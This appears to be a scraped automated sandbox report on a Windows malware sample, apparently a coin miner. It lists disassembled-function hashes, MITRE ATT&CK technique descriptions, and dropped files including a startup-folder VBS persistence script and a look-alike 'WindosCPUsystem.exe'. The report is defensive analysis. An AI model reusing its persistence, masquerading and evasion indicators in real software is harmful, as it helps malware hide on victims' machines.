Opcode Fuzzy Hash: 1851fcb8e9acf5d58fcef1511795281540a9c83f1a32fb29d3ea841c080a4d1a
Instruction Fuzzy Hash: D901D67091894D9FDF94EF58C448ABE7BF4FB28301F10056AA429D3290DB34A590CB80

Function 00007FF8490E1CC8 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d48612e41e4b5fe8ea793ab33cd89e4a9574d00aac742c1354240458684d433f
Instruction ID: 97e9dff72f4fa3e34a9529cf32be73dc097f170f2d8792675ff432f43b2a70a7
Opcode Fuzzy Hash: d48612e41e4b5fe8ea793ab33cd89e4a9574d00aac742c1354240458684d433f
Instruction Fuzzy Hash: 7F01D63080895D8FDF94EF68C448ABA7BF0FB68305F10056AA819D3290DB34A590CB80

Function 00007FF8490E2338 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38902ea0ae89e6e9e152a64f6d324e6594360de68268a0836c7ce9785ff1dabf
Instruction ID: ad8049ba4b150938772020213cf27bed3e3ead7a135922acc4c4130aa5bcd2c4
Opcode Fuzzy Hash: 38902ea0ae89e6e9e152a64f6d324e6594360de68268a0836c7ce9785ff1dabf
Instruction Fuzzy Hash: 9801D27080894EDFDF94EF58C848ABA7BF0FB28345F10456AA419D3294DB70A694CB80

Function 00007FF8490E2360 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3bb4ff6ea7e043f4746d5fb486d06222fd6f64d0c6c7d353841a392a52f029c
Instruction ID: 485a8204fbf8598b89ae762c5af3e8c475ab3b01b0fc1b87fb0dbef185e3f896
Opcode Fuzzy Hash: a3bb4ff6ea7e043f4746d5fb486d06222fd6f64d0c6c7d353841a392a52f029c
Instruction Fuzzy Hash: B301D67190894D8FDF94EF58C848ABA7BF0FB28301F50056AA419D3295DB70A690CB80

Function 00007FF8490E23D8 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a75aa315d97683bbc636fa5d6836e0070fdb2aaeb9b3bda6c9a4ea4e6e1b7fa7
Instruction ID: fcf1dca10fd7f14582bea506fd2793af340fb790a57d5cdb47b2e27de0d311b0
Opcode Fuzzy Hash: a75aa315d97683bbc636fa5d6836e0070fdb2aaeb9b3bda6c9a4ea4e6e1b7fa7
Instruction Fuzzy Hash: 8C01FB3080854DCFDF94EF58C844ABA77F4FB28345F10056AA419D3195DB70EA54DB80

Function 00007FF8490E1BB0 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41c9a7214340442ab6d1b636874531af6cff025a5373515e2be9d1e5cc4cf17f
Instruction ID: abde921732869d7e88439af8f0a50e22d98ecbcb2d6b029196e3bd9e67e18c72
Opcode Fuzzy Hash: 41c9a7214340442ab6d1b636874531af6cff025a5373515e2be9d1e5cc4cf17f
Instruction Fuzzy Hash: 60F0E73081894DCFDF95EF58C848ABEB7B4FF28305F04056AA41DD3294DB70A650CB40

Function 00007FF849023746 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2763926675.00007FF849020000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF849020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff849020000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70a3bfffc3da81dcc04ed74d90aca5ab5e67bb0abb28090cd7bf2e2711f83a62
Instruction ID: cd2e9673e013ad7f59933b4283c543efd261e244dbd9b9d13d237edbc88309f6
Opcode Fuzzy Hash: 70a3bfffc3da81dcc04ed74d90aca5ab5e67bb0abb28090cd7bf2e2711f83a62
Instruction Fuzzy Hash: 0701E470E1861E8EEF68EF64C4557AE77B1FF68344F5004B9C40CA3291DB38A981CB94

Function 00007FF8490D44FC Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9eb315cf09a8be664dc3dc9c8ce433b9f90b954108696a9e5a0d4247c5613be9
Instruction ID: 63fa33f763dc394554d8aa456cc5a86ed753db7e042fa80aeb9918d58710e64a
Opcode Fuzzy Hash: 9eb315cf09a8be664dc3dc9c8ce433b9f90b954108696a9e5a0d4247c5613be9
Instruction Fuzzy Hash: 25E04622B1CA090EB148B21C38430F973C2D789274B80027BE84EC22D7ED0A688300CA

Function 00007FF8490D457C Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2306649c735adc46ef2e33a6be36684d58a14cec9c9df69e5a87a9a10cb65ceb
Instruction ID: f9010333fa95ea400f53129d9d91a618a56a782e8fbcc55a42c6be3fa678b519
Opcode Fuzzy Hash: 2306649c735adc46ef2e33a6be36684d58a14cec9c9df69e5a87a9a10cb65ceb
Instruction Fuzzy Hash: E9E08673B4C5064EF618794C78831F8B3C1D78A2B0B40067BD58ECA5D7EC17644301CA

Function 00007FF8490D07F9 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fd8cabf8c562b71e167fc142b5dca8e3647bdc7318ada02041856956bbe7408
Instruction ID: 9a0d916409601d4d557cc68eab86bafe158528833453606fab41e8ed3954dd0f
Opcode Fuzzy Hash: 3fd8cabf8c562b71e167fc142b5dca8e3647bdc7318ada02041856956bbe7408
Instruction Fuzzy Hash: 25E0E51144F3E22FC3439778A8A24D67F309D0726870942E7D0C4CE093D60C554AC3A6

Function 00007FF8490DC830 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c9ad786969763d22a7885d09eb58e37a5514e84f19f8d428110b0113b133d13
Instruction ID: 39da6d49c5af7f17a5322e944c5a8cddacbf759aa97db05219d7de52bb034cd9
Opcode Fuzzy Hash: 7c9ad786969763d22a7885d09eb58e37a5514e84f19f8d428110b0113b133d13
Instruction Fuzzy Hash: F8E02631B1CA554EEB7826BE644C772A3C8EBA8369F00463AD008C2280D9BC98818B80

Function 00007FF8490DAA5E Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd25092632d961d4413a513d02c8976acc4773871cb1abd99fec50a9eb6bb65a
Instruction ID: cd122f63ea479f7bc8a644e97b18008d07ad44e5b4f9ec679eee5283176789ae
Opcode Fuzzy Hash: cd25092632d961d4413a513d02c8976acc4773871cb1abd99fec50a9eb6bb65a
Instruction Fuzzy Hash: 71D01200F5C95E0EDDA87A7834151BD51C6CBC979078055B5E40DC628ADC1CDC420380

Function 00007FF8490D07E0 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.2766660594.00007FF8490D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF8490D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff8490d0000_WindosCPUsystem.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e82a63731ebfef2ba25e8db5fd86ed7581b6fc0fd8f78c18b2c53c3cca0c4e20
Instruction ID: fc0fca35eaea06d81891435d961edf90f795e687d6cb165ae7512d7b640bc398
Opcode Fuzzy Hash: e82a63731ebfef2ba25e8db5fd86ed7581b6fc0fd8f78c18b2c53c3cca0c4e20
Instruction Fuzzy Hash: 37B09212B1D8190BA1A0668D3C821B8A281D788665B9801B3E008C228AD90A9D8202C6

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_12fieoef.n4o.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gwjvnygk.wmz.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hxrl4fq0.lh1.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yd1puzls.wsg.psm1

C:\Users\user\AppData\Local\Temp\orupcopicsyv.sys

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindosCPUsystem.vbs

C:\Users\user\AppData\Roaming\WindosCPUsystem.exe

C:\Users\user\AppData\Roaming\WindosCPUsystem.exe:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

Windows Analysis Report
file.exe

Function 00007FF8490CCC43 Relevance: 2.1, Strings: 1, Instructions: 895
COMMON

Function 00007FF8490C31F2 Relevance: 2.1, Strings: 1, Instructions: 809
COMMON

Function 00007FF8490C7366 Relevance: 4.6, Strings: 3, Instructions: 863
COMMON

Function 00007FF8490CB535 Relevance: 3.3, Strings: 2, Instructions: 777
COMMON

Function 00007FF8490C73A9 Relevance: 3.0, Strings: 2, Instructions: 534
COMMON

Function 00007FF8490CDAD1 Relevance: 2.9, Strings: 2, Instructions: 363
COMMON

Function 00007FF8490CC5E8 Relevance: 2.8, Strings: 2, Instructions: 260
COMMON

Function 00007FF8490CFB43 Relevance: 2.6, Strings: 2, Instructions: 123
COMMON

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre